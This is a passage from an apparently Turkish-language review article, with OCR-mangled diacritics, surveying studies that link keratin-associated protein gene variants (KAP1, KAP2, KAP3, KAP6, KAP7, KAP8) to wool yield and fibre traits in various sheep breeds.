bilesenlerindeki aminoasite bakilarak ii¢ grupla simiflandirilir; yiiksek siilfiirlii proteinler
(KAP1.n, KAP2.n ve KAP3.n), ultra yiiksek siilfiirlii proteinler (KAP4.n, KAP5.n ve KAP10) ve
yiiksek glisin-tirozin proteinler (KAP6.n, KAP7.n ve KAP8.n). Yapilarinda bulunan aminoasit
kompozisyonlarindan siilfiir miktarina gore ; yiiksek siilfiir (HS) (<%30 mol sistein igerigi),
ultra yiiksek siilfiir (UHS) (>%30 mol sistein igerigi) ve yiiksek glisin ve tirozin (HGT) (%30-
60 mol glisin ve tirozin) olacak sekilde ayrilirlar (Gong ve ark., 2016).

Giintimiizde kii¢iikbas hayvanlarda KAP genlerinden KAP4-n, KAP3-n ve KAP1-n gen
aileleri OARL11 ile (Mclaren ve ark., 1997; Gong ve ark., 2011; Gong ve ark., 2012) ; KAP24,
KAP13, KAP11, KAP8 ve KAPG6 gen aileleri OARL1 ile (Mclaren ve ark., 1997; Gong ve ark.,
2011; Zhou ve ark., 2012; Gong ve ark., 2014; Yardibi ve ark., 2015) ; KAP5-n genleri ise
OAR?21 ile eslestirilmistir (Mclaren ve ark., 1997; Gong ve ark., 2012). Wang ve ark. (2014)
OAR11 kromozomu lizerindeki KAP genlerinden 30 MB uzaklikta yapag: kivrimini etkiledigi
ifade edilen bir Kantitatif Ozellik Lokusu (QTL) tanimlamistir. Parson ve ark. (1994) ise KAP6
geninde goézlenen varyasyonun, orta yapagi smifinda betimlenen Peppin Merinoslarinda
ortalama lif ¢apr ile iligkili oldugunu buna benzer olarak Beh ve ark. (2001) ise orta yapagili
Merinoslarda ortalama lif ¢apmimi etkileyen bir QTL’in kromozom 1 ile eslestigini ifade
etmektedir. OARI iizerinde Roldan ve ark. (2016) ortalama lif ¢ap1 i¢in herhangi bir QTL
saptayamami§ olmalaria karsin kivrim ve verim gibi yapag: 6zelliklerini kapsayan bir QTL
saptamislardir. Yakin donemde, KRTAP6-/'de gozlenen varyasyonun yapagi elyaf ¢api ile
iligkili 6zellikleri etkiledigi ve 57 bp’lik bir delesyon sonucunda daha biiyiik elyaf ¢ap1 standart
sapmasi ile daha kaba yapagi olusumu iliskilendirilmistir (Zhou ve ark., 2015). Rogers ve ark.
(1994), Romney koyunlarinda gergeklestirdikleri bir ¢alismada OARI11 {izerinde KRT1-2’yi
kapsayan bolgede yapagi elyaf dayanikliligini etkileyen bir QTL bildirmislerdir. Aym
kromozom i¢in Roldan ve ark. (2016) kirli yapagi agirligi, yapagi agirhigi ve elyaf mukavemeti
icin gecerli bir QTL tespit edip; KRTAP1-2 bolgesinin yapagi agirligr tizerinde daha etkili

oldugunu bildirmislerdir. ifade edilen ¢alisma ve bulgular yapagi 6zellikleri iizerinde etkisi
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bulunan ve daha kapsamli arastirmalara aday olan KAP geninin 6nemini gostermektedir.
Potansiyel olarak yapagi lifinde ifade edilen genlerin varyasyonu ile elyaf 6zelliklerinin iligkisi,
yapagi kalitesini iyilestirmek i¢in yapilacak se¢im hedeflerinde KAP genlerinin 6nemli rol

oynayacagini diisiindiirmektedir.

Keratin-iliskili Protein Geni 1 (KAPIn)

KAP1 geni koyunlarda 11.kromozom iizerinde diger KAP genleri ile kiimelenmis olarak
bulunan, 4 iyeden (KAP1.1/KRTAP1-1, KAP1.2/KRTAP1-2, KAP1.3/KRTAP1-3, KAP1.4/
KRTAP1-4) olusan ve yiiksek diizeyde varyasyon iceren gen ailesidir. Bu kromozom
bolgesinde yapilan onceki c¢alismalarda ortalama elyaf mukavemeti , elyaf ¢ap1 varyasyon
katsayisi , Kirli yapagt agirhigi ve temiz yapagi agirligi dahil olmak iizere yapagi 6zellikleri ile
iliskili olan birgok QTL daha 6nce bildirilmistir (Gong ve ark., 2015).

Yardibi ve ark. (2015)’nin Sakiz, Kivircik ve Ivesi koyun irklarinda KAP1.1, KAP1.3
ve K33 gen polimorfizmlerini incelemek amaciyla yaptiklari ¢alisma sonucunda; KAP1.1 i¢in
3 alel (A,B,C) elde edilmis ve bu alellerden A ve B’nin Ivesi irkinda ; C alelinin ise Sakiz
irkinda daha yiiksek oranda oldugu belirtilmistir. KAP1.3 i¢in ise 9 alel elde edilmis (A-1), elde
edilen C alelinin Ivesi wrkinda, G alelinin ise Kivircik irkinda en yiiksek oldugu
gozlemlenmistir. A ve D alelleri ise her ii¢ koyun irkinda da ifade edilememistir. Calismada
yapag kalitesi i¢in tercih edilen Kivircik koyun irkinin ve yapagi 6zellikleri igin tercih edilen
Ivesi koyun irkmnin yapag Kalitesi ile yapag: iiriinleri arasindaki iliski ortaya konmustur. Gong
ve ark. (2015), Merinos x Southdown koyunlarda KAP1-2 gen varyasyonunu arastirmak
amaciyla yaptiklari ¢aligmada temiz yapagi agirhigi, Kirli yapagi agirligi, yapagi verimi,
ortalama lif ¢api, lif cap1 standart sapmasi, lif kivrimi parametrelerini degerlendirmek amaciyla
alt1 ortak KAP1-2 genotipinde (AF, AG, BF, FF, FG ve FH) hepsi potansiyel olarak polimorfik
olan ¢ok sayida varyasyon elde ettiklerini bildirmis; bununla birlikte KAP1-2’nin tek basina
potansiyel olarak yapagi agirliklari igin bir belirte¢ oldugunu ifade etmislerdir. Kumar ve ark.
(2016)’nin Hint yapagi verimli koyun irklarinda (Malpura, Avikalin, Chokla, Sonadi, Nali,
Nellore, Garole, Magra, Deccani, Patanwadi ve Kendrapara) gergeklestirdigi ¢alismalarinda;
KAP1-3 gen polimorfizmi incelemesinde XX, XY ve YY olmak {izere 3 genotip belirlenerek
yapagi verimi yiiksek olan koyunlarda X alelinin baskin oldugu ve buna bagli olarak bazi koyun
irklarinda genetik mesafe acisindan Y alelinin baskin oldugu ifade edilmistir. KAP1.1 ve
KAP1.3 genlerinin polimorfizm tespiti ve Misir koyun 1rklarinda yapag1 6zellikleri iizerindeki
etkilerini belirlemek amaciyla Farag ve ark. (2018) ’nin yaptig1 ¢alismada ise elyaf mukavemeti,

elyaf uzunlugu, temiz yapagi agirligi ve elyaf capr gibi bazi ekonomik yapagi o6zellikleri

291



degerlendirilmistir. Sonug olarak KAP1.1 geninde 3 alel (A, B, C) gozlenirken AB genotipine
sahip hayvanlarin daha uzun elyaf yapisina, BC genotipine sahip hayvanlarin daha yiiksek elyaf
mukavemetine, AA genotipine sahip hayvanlarin ise daha yiiksek temiz yapag1 verimine; sahip
oldugunu belirtmislerdir. Bu baglamda KAP1.3 geni i¢in 10 genotip ve 7 alelin varligini
dogrulayarak en yiiksek elyaf uzunlugu, elyaf mukavemeti, temiz yapagi agirhigi ve elyaf ¢ap1
ozelliklerini sirasiyla DJ, FG, AB ve CC genotipi ile iligskilendirdiklerini ifade etmislerdir.
Nyoni ve ark. (2019), Karakul koyunundan koken aldigi ifade edilen Swakara koyununda
yaptiklar1 ¢alismada KAP1.1 geni i¢in 3 alel (A, B, C) gozleyerek B alelinin yiiksek oranda
dagilim gosterdigini ve bu irkin moda sektoriinde cesitli renklerde post lretimi igin
yetistirildigini bildirmislerdir. Singh ve ark. (2018)’nin yaptigi KAP1.2 geni i¢in filogenetik
analiz ¢alismasinda gen bolgesi i¢in 15 niikleotid degisikligi gozlemleyerek Rambouillet
koyunlarinda ifade edilen gende ¢oklu alel varligini1 saptamislardir. Bu irk i¢indeki degisikligin
korunmasina bagl olarak yapagi icin seleksiyon uygulamalarinin daha etkili olacagi sonucuna
varmiglardir. Nyoni ve ark. (2020)’nin yaptigi bir baska ¢alismada ise Nabibya bolgesinde
yetistiriciligi yapilan Swakara koyununda KAP1.3 ve KRT33A genlerindeki polimorfizmin
tistlin yapagili postlar ile iliskisi incelenmistir. Calismada, tanimlanan polimorfizmler ile ifade
edilen boélgede bulunan koyunlarin akrabalik iliskisi gosterilmis ve KAP genleri {izerine daha
fazla ¢alisma yapilmasinin iistiin 6zellikli post igin gerekli olduguna vurgu yapilmistir. Singh
ve ark. (2022), Rambouillet koyunlarinda KAP1.2 polimorfik varyantlarinin Kirli yapagi
agirhigl, elyaf uzunlugu, elyaf capr gibi yapagi kayitlarmin iliskisini incelemek icin
gerceklestirdikleri ¢aligmada 3 genotip (AA, AB, BB) gozlemleyerek calisilan popiilasyonun
KAP1.2 geni i¢in polimorfik oldugunu ifade etmis ve en yiiksek Kirli yapagi iiretiminin BB

genotipinde oldugu sonucuna varmisglardir.

Keratin-iligkili Protein Geni 2 (KAP2n)

Giiniimiize kadar koyun genomunda tanimlanan bir¢ok keratin iligkili protein genindeki
varyasyonun yapagi verimi, yapagi agirligi, ortalama lif ¢api, ortalama elyaf uzunlugu ve
ortalama lif kivrimi olmak tizere ¢esitli parametrelerle iliskili oldugu bildirilirken bu durumun
keratin iligkili protein genlerinin yapag1 6zelliklerinin iyilestirilebilmesi icin aday belirtegler
olarak yararli olabilecegi gosterilmistir. Ancak KAP2(n) gen ailesi heniiz tamamen koyunlarda
tanimlanmamustir (Wang ve ark., 2020).

Wang ve ark. (2020) kaba, orta ve ince yapagili irklar olarak ayirdiklari Cin Merinosu,
Tibet, Kazak ve Gansu Alpin koyunlarinda gergeklestirdikleri ¢alismada KAP2(n) geninin

niikleotid dizisi ve ¢esitli varyasyonlarin1 saptamay1 amagladiklar1 ¢alismada genin OAR11
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tizerinde bilinen birka¢g KAP(n) ile kiimelendigi ancak daha 6nce kaydedilmemis bir lokasyonda
bulundugu belirtilmistir. KAP2(n) genindeki varyasyon, ele alinan ¢alisma kapsaminda yapagi
fenotip verileri yetersizligi sebebiyle karsilastirilamamis olsa da ince, kaba ve orta incelikte
yapag1 sinifindaki koyun irklarinda gozlenen varyant farkliliklar1 sebebiyle genin secilim

baskisinda olabilecegi veya Yyapagir lif c¢apmin degerlendirilmesinde aday olabilecegi

bildirilmistir (Wang ve ark., 2020).

Keratin-iliskili Protein Geni 3 (KAP3n)

Koyun derisinde yiiksek oranda ifade edilen keratin ailesi genlerinden olan keratin-
iliskili protein geni 3.2’nin transkriptom analizine yonelik Fan ve ark. (2013)’nin sundugu
calismada siyah koyun derisinde KAP3.2 genleri down-regiilasyon gostermis ve tek keratin
geninin kiirk rengi 6zelliginden sorumlu olmadigini; ancak yiiksek miktarda sistein kalintisi
icermesi sebebiyle yapaginin mukavemetini etkiledigi goriisiinii ifade etmislerdir. Tibet
koyunlarinda yapagi folikiil sogant ve doku ekspresyon seviyelerinin analizi i¢in yapilan
transkriptom ¢alismasinda; Zhao ve ark. (2016) yapag folikiilii ve deride KAP3.3 ve
KAP11.1’in mRNA ekspresyonunun Keratin 83 ve Keratin 5 referans genlerine gore yiiksek
oranda ifade edildigi bildirilmistir. Ayrica bu ¢alismada 11. ve 1. kromozom {izerinde bulunan
KAP11.1 ve KAP3.3 genlerinin yiiksek siilfiir igermelerinden kaynakli sadece yapag: liflerinin
kortikal bolgesinde giiclii bir sekilde ifade edildiginin ortaya koymuslardir. KAP genlerinin
transkripsiyon baslangi¢ bolgesi (TBB) ve motifler yardimiyla promotdr bolgelerinin ve
transkripsiyon faktorlerinin analizi amaciyla yapilan in silico ¢alismada ise Wagari ve ark.
(2022), M-KAP3’iin koyun KAP genleri i¢in en yaygin motif olarak tanimlandigini ifade
edilmistir. Pro-KAP-3-2 promotor bélgesi ise baslangi¢c kodonuna daha yakin olan TBB olarak
secilmistir boylece yaptiklari analizde keratin iligkili protein genlerinin %72,4 ’ten fazlasinin
iki veya bes TBB arasinda degisen ¢oklu TBB’lere sahip oldugu ve tanimlanan aday motifler
arasinda M-KA4P3 'in, ¢ogunlukla Cinko Parmak (ZNF) i¢in baglanma bolgesi olarak ¢alistig
ortaya konmustur. Mahajan ve ark.(2015), KAP3.2’nin Rambouillet koyun irkinda polimorfik
varyantlarini belirlemek icin yaptiklart bir caligmada ilgili gene iliskin AA, AB ve BB olmak
tizere 3 genotip tespit etmislerdir. Kirli yapag1 agirhigr (KYA) ile iligkilendirdikleri gende AB
genotipine sahip hayvanlarin daha yiiksek KYA’ya sahip oldugu ve sirasiyla AA ve BB
genotipin bunu takip ettigini bildirmislerdir. Wang ve ark. (2010) ise ayni polimorfizm
acisindan AA genotipine sahip hayvanlarda yapagi uzunlugunun 6nemli oranda yiiksek
oldugunu ve AA genotipine sahip hayvanlarin yapagi veriminin yiiksek oldugunu

bildirmislerdir. Benzer bulgular yine Wang ve ark. (2011)’nin bir bagka ¢alismasinda Tibet,
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Oula ve Qiaoke koyunlarinda da bildirilmistir. Dolayisiyla kil folikiiliinde ve deride eksprese
oldugu tespit edilen KAP3 geninin Kirli yapagi agirlig1 ve yapagi uzunluguna etki edebilecegi

diistiiniilmektedir.

Keratin-iligkili Protein Geni 6 (KAP6n)

Cok genli KAP6 ailesi (KAP-n) diisiik siilfur ve yiiksek glisin-tirosin igerigine sahip
KAP'lar1 igerir (Gong ve ark., 2011). KAP8 ailesinden genlerle birlikte ortokortekste ifade
edilirler (Gong ve ark., 2015; Zhou ve ark., 2015). KAP-n ailesi bilinen genlerinin ¢ogunda
varyasyon igerir; KRTAP6-1, 6-2, 6-3, 6-4 ve 6-5.

Liu ve ark. (2014) tarafindan Cin Merinosu, Hu koyunu, Romney ve Hu x Merinos
melezinde yapilan ¢alismada KAPG6 geni i¢in 6 farkli dizi elde edilmis ancak ifade edilen diziler
dort koyun irkinda da farkli bulunmustur. B ve C dizilerinin Cin Merinosu ve Hu x Cin
Merinosu melezlerinde gozlenmesi biiylik lif capma sahip Cin Merinosu x Hu melezi
koyunlarda varyasyon oldugu goriisiiyle aciklanmigtir. Merinos melez siiriilerinde KAPG6
genindeki varyasyonun kapsamini ve yapagi ozellikleriyle olan iligkisini aragtirma amaciyla
Zhou ve ark. (2015)’nin yaptig1 calismada tespit edilen alt1 genotipten (AA, AB, AC, BB, BC,
CC) C alelinin varlig lif cap1 varyasyon katsayisi, ortalama lif ¢ap1 ve lif ¢api1 standart sapmasi
ile iligkili bulunmustur. Bu kapsamda degerlendirilen ¢alisma KAPG6-1’deki varyasyonun
yapag1 lif ¢apr ile iliskili ozellikleri etkiledigi bdylece kaba yapagi iiretimine yol agtig
goriisiiyle agiklanmaktadir. Zhou ve ark. (2015)’nin yaptigi ¢alismaya benzer olarak Yeni
Zelanda Wiltshire koyununda, bildirilen varyant ve genotiplere ek olarak F ve G varyantlar
saptayan Wilding (2016) bu irkta gozlenen kil dokiilmesini yiiksek dagilima sahip F ve G
varyantlari ile iliskilendirmistir. KAP6-1 geninde gergeklestirilen bir baska ¢alismada ise Tao
ve ark. (2017) 2 yeni varyant (D, E) tespit etmistir. Cin Tan Koyunlarinda D varyant1 dogumda
artan diiz lif uzunlugu ile iligkili bulunurken, E varyant1 dogum sonras1 artan diiz lif uzunlugu
ve kivrim sayist ile iligkili bulunmustur. Elde ettikleri sonuglar dogrultusunda KAP6-1’de ki
varyasyonun koyun yasaminin erken donemlerinde etkili olabilecegi sonucuna varilmistir.

Merinos x Southdown melezi kuzularda KAP6-3 geninde gergeklestirilen bir baska
calismada ise Li ve ark. (2017) tanimlanan dort varyanta (A, B, C ve F) ek olarak G varyanti
tanimlamiglardir. AG genotipine sahip koyunlar AA genotipine sahip koyunlara gore daha
diisiik ortalama lif ¢apina ve lif gap1 standart sapmasina ; AB genotipli koyunlar ise AA
genotipine gore daha yiiksek ortalam lif ¢apina ve lif ¢ap1 standart sapmasina sahip oldugu
belirtilmistir. Gozlenen etkilerin KAP6-3 geninde G varyanti ile yapagt uzunluk

varyasyonlarinin azaldigi; B varyanti ile arttig1 seklinde ¢ikarimda bulunmuslardir. Sandyno ve
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Nilagiri koyun irklarinda KAP6-1 geni i¢in yapilan bir baska ¢calismada ise Bharathesree ve ark.
(2019) AC genotipi igin yiiksek temiz yapagi agirligi tiretimi; BB genotipi igin diisiik temiz
yapagl iretimi saptamistir. Lif ¢api, AC genotipinde AA genotipine gore daha yiiksek
bulunmustur. Merinos melezi ve Romney koyunlarinda KAP6-1 varyasyonu igin Li ve ark.
(2019) tarafindan yapilan ¢alismada 9 genotip (AA, AB, AE, AF, BB, BE, BF, EE ve FF)
karsilastirilmistir. A alelinin varliginin artmis lif ¢ap1 varyasyon katsayisi ve ortalama lif ¢ap1
ile iligkili oldugu; B alelinin varliginin ise azalmig kaba kenar dlgliimii ile iliskili oldugu
saptanmustir. Lif c¢api standart sapmasi ve lif kivrimi parametreleri i¢in genotip iliskisi
saptanmamistir. Elde edilen bulgular dogrultusunda KAP6-1 gen varyasyonunun yapagi lif
capimi etkiledigi ifade edilmistir. Bes Pakistan koyun irkinda gergeklestirilen ¢alismada Ullah
ve ark. (2020) KAP6-3 geni i¢in daha Once bildirilen varyantlara ek olarak H varyanti
bildirilmistir. Degerlendirdikleri yapagi 6zellikleri arasinda lif ¢ap1 varyasyon katsayisi ile lif
cap1 standart sapmasi ve lif ¢ap1 standart sapmasi ile medullasyon arasinda giiclii korelasyon
gozlemlenmistir. B varyantinin varliginin, yokluguna gore daha yiiksek lif ¢ap1 varyasyon
katsayisi ile iligkili oldugunu saptanmustir. Barki irki koyunlarda incelenen KAP6-1 geni igin
Sallam ve ark. (2021) tarafindan ii¢ genotip (GG, GC ve CC) tanimlanmustir. GC genotipi daha
yiiksek frekansta gozlenmistir ve Kirli yapagi agirligi, elyaf uzunlugu, lif ¢ap1, kemp skoru,
parlaklik derecesi, kirli renk skalas1 ve diken faktorii tizerinde etkili oldugu ifade edilmistir.
Ancak CC genotipine sahip hayvanlarin diger genotiplere gore daha uzun elyaf uzunluguna
sahip oldugunu ve daha ince yapag lrettigi belirlenmistir. Dolayisiyla ¢ok genli ve yiiksek
varyasyonlu oldugu bilenen KAP6 gen ailesi 6zellikle KAP6-1 ve KAP6-3 genleri agisindan

yapag lif uzunlugu ile iligkilendirilmistir.

Keratin-iligkili Protein Geni 7 (KAP7)

Rambouillet koyunlarinda KAP7 geni i¢in Mahajan ve ark. (2017) tarafindan ti¢ genotip
(AA, AB, BB) tanimlanmustir. Bildirilen genotipleri erkek ve disi hayvanlar iizerinde
karsilagtirarak elde ettikleri sonuglarda; erkeklerde daha yiiksek temiz yapagi verimi ve Kirli
yapagi agirligi gozlenirken, disilerde daha iistiin lif ap1 gozlemledikleri ifade edilmistir. Ayirca
BB genotipine sahip hayvanlarin yiiksek stapel lif uzunlugu ve yiiksek Kirli yapag agirligina
sahip oldugunu bildirilmistir. Sunulan veriler Sulaiman ve ark. (2015)’nin Heitan
koyunlarindaki bulgular ile uyumlu iken; Tibet koyunlarinda Wang ve ark. (2010)’nin
sonuglarindan farklilik gosterdigi goriilmistiir. Bes farklt Pakistan koyun 1irkinda
gerceklestirilen ¢aligmada Ullah ve ark. (2020) KAP7-1 geninde daha once bildirilen (AA, AB,

BB) genotiplerden AA genotipinin ortalama verim ile iligkili oldugunu; AB genotipinin ise
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ortalama elyaf uzunlugu ile iliskili oldugunu bildirmistir. Dolayisiyla incelenen KAP7 geninin

verim Ozellikleri, lif ¢ap1 ve elyaf uzunlugu ile iliskili oldugu gortilmektedir.

Keratin-iliskili Protein Geni 8 (KAP8n)

KAPS8 gen ailesinin tanimlanmis sadece bir liyesi bulunur ve intron icermeyen tek bir gen
tarafindan kodlanir (McLaren ve ark., 1997; Gong ve ark., 2012). Daha dnceki ¢aligsmalarda
Wood ve ark. (1992), KAPS8 geni i¢in akraba olmayan 33 koyun irkinda 11 alel bildirmistir. Bu
kapsamda incelenen gen ailesinde bol miktarda varyasyon oldugu ifade edilmektedir. Dort Cin
koyununda incelenen KAP8 geni i¢in Liu ve ark. (2014), birbiriyle homolog olan bes alel
oldugunu bildirmislerdir. Bu alellerin incelenen tiim irklarda benzer ifadesinin olmasini, genin
yapagi ozelliklerindeki farkliliklart yansitamayacagi goriistiyle agiklamislanmistir. KAP8 gen
ailesi iiyesi KAP8-2’yi tanimlamay1 amaglayan Gong ve ark. (2014) tarafindan A ve B olmak
tizere iki varyant tespit edilmistir. Romney melez koyunlarda AA, AB ve BB genotiplerinden
A varyantinin daha yiiksek frekansta buldugu ifade edilmistir. Bu ¢aligmaya benzer olarak Tao
ve ark. (2017) ise Cin Tan koyunlarinda 2 alel tespit etmistir. Ancak B alel varyantinin Yeni
Zelanda Romney melez koyunlarina gore daha yiiksek frekansta gozlendigini belirtmislerdir. A
alel varyantinin diizlestirilmis yapagi uzunlugu iizerinde negatif korelasyonlu bir etkiye sahip
oldugunu ifade edilmistir. Mahajan ve ark. (2019)’nin yaptig1 bir bagka c¢alismada ise
Rambouillet koyunlarinda tanimlanan 3 genotipten (AA, AB, BB) AA genotipine sahip
koyunlarin Gstiin lif ¢capina; AA ve AB genotipine sahip koyunlarin ise istiin Kirli yapagi
agirhgma sahip oldugunu saptanmustir. Pakistan koyun irklart ise KRTAP8-2 genindeki
varyasyon agisindan Ullah ve ark. (2022) tarafindan incelenmistir. KRTAP8-2’de C olarak
adlandirilan yeni bir varyant tespit edilmistir. S6z konusu calismada, KRTAP8-2'deki
varyasyonun ortalama stapel lif uzunlugunu ve medullasyondaki varyasyonu etkiledigi tespit

edilmistir.

Sonuc¢

Kiiclikbas hayvan yetistiricili§inde yapagi kalitesi ve verimini arttirmak amaciyla
yapilacak 1slah c¢aligmalarinda gevre faktoriiniin yaninda genetik faktorlerinde bir biitiin olarak
degerlendirilmesi gereklidir. Genetik faktdrlerin dolayisiyla aday genlerin degerlendirilmesi
molekiiler aragtirmalardaki gelismelere paralel olarak zaman igerisinde artmistir. Yiiksek
varyasyona sahip oldugu gozlemlenen ve yapag 6zellikleri lizerinde dogrudan etkisi oldugu
ifade edilen KAP genlerinin daha genis popiilasyonlarda ve farkli koyun irklarinda

degerlendirilmesi literatiirli zenginlestirirken; elde edilen sonuglarin seleksiyon programlarina
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dahil edilmesine olanak saglayacag disiiniilmektedir. Molekiiler genetik teknikleri ile
tanimlanan genlerin ve tek niikleotid polimorfizmlerinin erken donemde yapag: kalitesi ve

iiretimi i¢in seleksiyon ¢aligmalarinda kullanilabilecegi sonucuna varilmistir.

Cikar Catismasi Beyani

Makale yazarlar1 herhangi bir ¢ikar ¢atismasi olmadigini beyan eder.

Arastirmacilarin Katki Orami1 Beyan Ozeti

Yazarlar makaleye esit oranda katki saglamis olduklarini beyan ederler.
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